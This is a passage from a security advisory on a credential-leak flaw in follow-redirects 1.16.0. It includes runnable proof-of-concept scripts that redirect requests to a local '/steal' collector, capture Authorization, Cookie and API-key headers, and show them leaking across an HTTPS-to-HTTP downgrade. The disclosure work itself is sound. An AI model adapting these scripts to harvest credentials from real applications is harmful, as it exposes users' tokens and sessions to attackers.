Advisory

GHSA-q3jh-wrc6-jgq8

Details, part 2 of 2. The advisory

Details

Combined form (built-in list plus the 1.16.0 sensitiveHeaders fix, all defeated in one request), combined.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" });
  res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(47401, "127.0.0.1", function () {
  collector.listen(47402, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 47401, path: "/", method: "GET",
      headers: [
        "Host", "127.0.0.1:47401",
        "Authorization", "Bearer BUILTIN-VICTIM-TOKEN",
        "Cookie", "session=BUILTIN-SESSION-ID",
        "X-API-Key", "DECLARED-VICTIM-KEY"
      ],
      sensitiveHeaders: ["X-API-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)");
        console.log("Cookie (built-in list)        :", h.cookie || "(stripped - OK)");
        console.log("X-API-Key (sensitiveHeaders)  :", h["x-api-key"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0):

Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN     <- LEAKED
Cookie (built-in list)        : session=BUILTIN-SESSION-ID      <- LEAKED
X-API-Key (sensitiveHeaders)  : DECLARED-VICTIM-KEY             <- LEAKED (the CVE-2026-40895 fix defeated)

Protocol-downgrade branch (credentials transit in cleartext), downgrade.js, using the repository's own test certificate at test/assets/:

var followRedirects = require("./index.js");
var http = require("http"); var https = require("https"); var fs = require("fs");
var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") };
var ca = fs.readFileSync("test/assets/ca.crt");
var httpsOrigin = https.createServer(opts, function (req, res) {
  req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end();
});
var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
httpsOrigin.listen(47501, "localhost", function () {
  httpCollector.listen(47502, "localhost", function () {
    followRedirects.https.request({
      hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca,
      headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization :", h.authorization || "(stripped - OK)");
        console.log("Cookie        :", h.cookie || "(stripped - OK)");
        httpsOrigin.close(); httpCollector.close();
      });
    }).end();
  });
});

Observed output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.

Side-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale Host of the first origin and Content-Length: 13 despite an empty body.

Impact
This is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the sensitiveHeaders option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.

Sources & licences